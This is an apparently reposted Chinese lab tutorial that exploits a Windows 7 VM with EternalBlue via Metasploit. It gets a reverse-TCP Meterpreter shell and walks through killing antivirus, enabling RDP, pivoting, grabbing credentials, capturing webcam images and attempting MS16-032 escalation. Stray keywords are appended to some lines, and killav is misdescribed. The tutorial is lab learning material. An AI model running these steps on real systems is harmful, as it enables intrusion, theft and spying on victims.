流程參考https://www.jianshu.com/p/03a1c13f963a,實在是太棒啦!!!
目標主機爲win7(IP:192.168.1.102);攻擊機爲kali(IP:192.168.1.104);工具爲metasploit5web
啓動metasploit
msfconsole
探測目標主機信息
nmap -sV 192.168.1.102
,445端口開放着,大機率能夠用永恆之藍漏洞攻擊
shell
這一次選擇MS17_010漏洞,就是永恆之藍漏洞來入侵Windows7。查找MS17_010漏洞相關的信息:
search ms17_010
第二個輔助模塊是探測主機是否存在MS17_010漏洞windows
選擇這個輔助模塊,看看目標機器是否是有這個問題。
likely ———— 有可能有啊 (必須滴有🤦♀️)瀏覽器
開幹!緩存
msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue # 用攻擊模塊 msf5 exploit(windows/smb/ms17_010_eternalblue) > show payloads # 顯示全部payload Compatible Payloads =================== # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 1 generic/custom normal No Custom Payload 2 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline 3 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline 4 windows/x64/exec normal No Windows x64 Execute Command 5 windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path 6 windows/x64/messagebox normal No Windows MessageBox x64 7 windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager 8 windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support 9 windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager 10 windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager 11 windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64) 12 windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet) 13 windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet) 14 windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager 15 windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager ————————————————————此處省略不少行—————————————————————————————————————— msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp # 選擇這個payload payload => windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.102 # 設置目標IP RHOST => 192.168.1.102 msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.104 # 設置攻擊機IP LHOST => 192.168.1.104 msf5 exploit(windows/smb/ms17_010_eternalblue) > run # 開幹 [*] Started reverse TCP handler on 192.168.1.104:4444 [*] 192.168.1.102:445 - Connecting to target for exploitation. [+] 192.168.1.102:445 - Connection established for exploitation. [+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.1.102:445 - CORE raw buffer dump (38 bytes) [*] 192.168.1.102:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima [*] 192.168.1.102:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service [*] 192.168.1.102:445 - 0x00000020 50 61 63 6b 20 31 Pack 1 [+] 192.168.1.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.1.102:445 - Sending all but last fragment of exploit packet [*] 192.168.1.102:445 - Starting non-paged pool grooming [+] 192.168.1.102:445 - Sending SMBv2 buffers [+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.1.102:445 - Sending final SMBv2 buffers. [*] 192.168.1.102:445 - Sending last fragment of exploit packet! [*] 192.168.1.102:445 - Receiving response from exploit packet [+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.1.102:445 - Sending egg to corrupted connection. [*] 192.168.1.102:445 - Triggering free of corrupted buffer. [*] Sending stage (206403 bytes) to 192.168.1.102 [*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49165) at 2020-09-28 15:09:35 +0800 [+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= meterpreter > sysinfo # 能夠隨心所欲了 Computer : GE-PC OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 System Language : zh_CN Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows
成功地對目標機器攻擊滲透後還能夠作什麼? Metasploit提供了一個很是強大的後滲透工具————Meterpreter,該工具具備多重功能,使後續的滲透入侵變得更容易。獲取目標機的Meterpreter Shell後,就進入了Metasploit最精彩的後期滲透利用階段,後期滲透模塊有200多個,Meterpreter有如下優點。安全
本節主要介紹如何利用Meterpreter作好後滲透的準備工做及收集系統各種信息和數據。服務器
在剛得到Meterpreter Shell時,該Shell是極其脆弱和易受攻擊的,例如攻擊者能夠利用瀏覽器漏洞攻陷目標機器,但攻擊滲透後瀏覽器有可能被用戶關閉。因此第一步就是要移動這個Shell,把它和目標機中一個穩定的進程綁定在一塊兒,而不須要對磁盤進行任何寫入操做。這樣作使得滲透更難被檢測到。網絡
輸入ps命令獲取目標機正在運行的進程,以下圖所示。
session
輸入getpid命令查看Meterpreter Shell的進程號,以下圖所示
app
能夠看到Meterpreter Shell進程的PID爲1116,Name爲spoolsv.exe,而後輸入migrate 2428
命令把Shell移動到PID爲2428的Explorer.exe進程裏,由於該進程是一個穩定的應用。
完成進程遷移後,再次輸入getpid命令查看Meterpreter Shel的進程號,發現PID已經變成了2428,說明已經成功遷移到Explorer.exe進程裏,如圖所示。
進程遷移完成後,原先PID爲1116的進程會自動關閉,若是沒有自動關閉能夠輸入kill 1116命令「殺掉」 該進程。使用自動遷移進程命令(run post/windows/manage/migrate
)後,系統會自動尋找合適的進程而後遷移,如圖所示。
如上圖所示,系統已經把原來PID爲2428的進程遷移到956。
得到了穩定的進程後,接下來收集系統信息。先輸入sysinfo
命令查看目標機的系統信息,例如操做系統和體系結構,以下圖所示。
輸入run post/windows/gather/checkvm
命令檢查目標機是否運行在虛擬機上,以下所示
能夠看到當前目標機正運行在一個VMware虛擬機上.如今檢查目標機是否正在運行, 輸入idletime
命令後能夠看到目標機最近的運行時間.
能夠看到目標機器正在運行,而且已經運行了35 mins 16 secs
接着輸入route
命令查看目標機完整的網絡設置, 以下圖所示
除此以外,能夠輸入background命令將當前會話放到後臺,此命令適合在多個Meterpreter會話的場景下使用。還能夠輸入getuid命令查看當前目標機器上已經滲透成功的用戶名,以下圖所示。
接着輸入run post/windows/manage/killav
命令關閉目標機操做系統, 以下所示
輸入run post/windows/manage/enable_rdp
命令啓動目標機的遠程桌面協議,也就是常說的3389端口,以下
而後輸入run post/windows/manage/autoroute
命令查看目標機的本地子網狀況, 以下:
能夠經過添加路由藉助被攻陷的主機對其餘網絡的主機發送攻擊.
接着輸入run post/windows/gather/enum_logged_on_users
命令列舉當前有多少用戶登錄了目標機.
這系統就ge一個用戶.且當前已經登錄.
列舉完了用戶以後, 繼續輸入 run post/windows/gather/enum_applications
命令列舉安裝在目標機上的應用程序, 以下
不少用戶習慣將計算機設置爲自動登陸,下面這個命令能夠抓取自動登錄的用戶和密碼.
run windows/gather/credentials/windows_autologin
能夠看到,當前沒有抓到任何信息。此時就須要用到擴展插件Espia,使用前要先輸入load espia命令加載該插件,而後輸入screengrab命令就能夠抓取此時目標機的屏幕截圖,如圖所示。
抓取成功後就生成了一個名爲YZOFsgTD.jpeg的圖片,保存在root目錄下。這裏輸入screenshot命令也能夠達到一樣的效果,如圖所示。
下面介紹幾個好玩的命令, 查看目標機有沒有攝像頭的命令爲 webcam_list, 以下:
沒有和有結果分別以下(爲撒一會無,一會有? [由於我發現沒有以後把攝像頭又分配給了虛擬機😁])
接着輸入webcam_snap命令打開目標機攝像頭並拍攝一照片, 以下
瘋狂打馬
輸入webcam_stream命令甚至還能夠開啓直播模式. 媽呀,可怕!!
還能夠輸入shell命令進入目標機shell下面, 以下所示.
最後輸入exit命令中止meterpreter會話, 以下所示. 該命令還可用於中止shell會話並返回meterpreter.
Meterpreter也支持各類文件系統命令,用於搜索文件並執行各類任務,例如搜索文件、下載文件及切換目錄等,相對來講操做比較簡單。經常使用的文件系統命令及其做用以下所示。
使用上述命令搜索已被攻陷的目標機,能夠得到更多關於目標機的信息。
一般,咱們在滲透過程當中頗有可能只得到了一個系統的Guest或User權限。低的權限級別將使咱們受到不少的限制,在實施橫向滲透或者提權攻擊時將很困難。在主機上若是沒有管理員權限,就沒法進行獲取Hash、安裝軟件、修改防火牆規則和修改註冊表等各類操做,因此必須將訪問權限從Guset提高到User,再到Administrator,最後到System級別。
滲透的最終目的是獲取服務器的最高權限,即Windows操做系統中管理員帳號的權限,或Linux操做系統中root帳戶的權限。提高權限的方式分爲如下兩類。
因此在成功獲取目標機Meterpreter Shell後,咱們要知道如今已經擁有了什麼權限.
在Meterpreter Shell下輸入shell命令進入目標機的CMD命令行, 接着輸入whoami /groups
命令查看咱們當前的權限
從上圖中能夠看到,當前的權限是Mandatory Label\Medium Mandatory Level, 說明咱們是一個標準用戶,那麼就須要將用戶權限從標準用戶提高到管理員,也就是Mandatory Label\High Mandatory Level。
下面咱們就利用本地溢出漏洞來提升權限,也就是說經過運行些現成的、能形成溢出漏洞的Exploit,把用戶從User組或其餘系統用戶組中提高到Administrator組(或root)。
溢出漏洞就像往杯子裏裝水,水多了杯子裝不進去,裏面的水就會溢出來。而計算機有個地方叫緩存區,程序的緩存區長度是事先被設定好的,若是用戶輸入的數據超過了這個緩存區的長度,那麼這個程序就會溢出。
此處咱們經過一系列的滲透測試獲得了目標機器的Meterpreter Shell.首先輸入getuid命令查看已經得到的權限,能夠看到如今的權限很低,是test權限。嘗試輸入getsystem命令提權,結果失敗,如圖所示。
接着查看系統的已打補丁,傳統的方法是在目標機的CMD命令行下輸入systeminfo命令,或者經過查詢C:\windows\裏留下的補丁號".Iog" 查看目標機大概打了哪些補丁,如圖所示。
能夠看到目標機只安裝了3個修補程序。這裏再利用WMIC命令Wmic qfe get Caption,Description,HotFixID,InstalledOn
列出已安裝的補丁,如圖所示。
一樣能夠看到目標機只打了3個補丁,要注意這些輸出的結果是不能被直接利用的,使用的方式是去找提權的EXP,而後將系統已經安裝的補丁編號與提權的EXP編號進行對比。好比KiTrap0D (KB979682) 、MS11-011 (KB2393802) ,MS11-080(KB2592799),而後使用沒有編號的EXP進行提權。由於虛擬機不怎麼打補丁,因此咱們可使用不少EXP來提權,這裏就用最新的MS16-032來嘗試提權,對應的編號是KB3139914。
相關漏洞的具體信息分析和共享能夠參考以下兩個網站。
知識點: WMIC是Windows Management Instrumentation Command-line的簡稱,它是一款命令行管理工具,提供了從命令行接口到批命令腳本執行系統管理的支持,能夠說是Windows平臺下最有用的命令行工具。使用WMIC,咱們不但可
以管理本地計算機,還能夠管理同一域內的全部遠程計算機(須要必要的權限), 而被管理的遠程計算機沒必要事先安裝WMIC.
wmic.exe位於Windows目錄下,是一個命令行程序。 WMIC能夠以兩種模式執行:交互模式(Interactive mode)和非交互模式(Non-Interactive mode),常用Netsh命令行的讀者應該很是熟悉這兩種模式。
須要注意的是,在Windows XP下,低權限用戶是不能使用WMIC命令的,可是在Windows 7系統和Windows 8系統下,低權限用戶可使用WMIC,且不用更改任何設置。
WMIC在信息收集和後滲透測試階段很是實用,能夠調取查看目標機的進程、服務、用戶、用戶組、網絡鏈接、硬盤信息、網絡共享信息、已安裝補丁、啓動項、已安裝的軟件、操做系統的相關信息和時區等。
接下來準備提權,一樣須要先把Meterpreter會話轉爲後臺執行,而後搜索MS16-032,以下圖所示。
知識點: 若是搜索不到最新的Exploit,能夠輸入msfupdate命令進行升級,獲取最新的Exploit模塊、攻擊載荷,或者手動添加相應漏洞EXP 。
執行如下命令選中MS16-032這個漏洞,而後指定"session" 進行提權操做,這裏咱們指定服務"session" 爲 「1」,而後run 。
額這塊失敗了, 不玩了mmp......
爲方便提權, 下面附上部分系統對應的補丁號.
本文參考 開篇的博客連接 及 《Web安全攻防:滲透測試實戰指南》
全部過程僅供演示交流,禁止用於非法用途,由此產生的非法後果與我無瓜。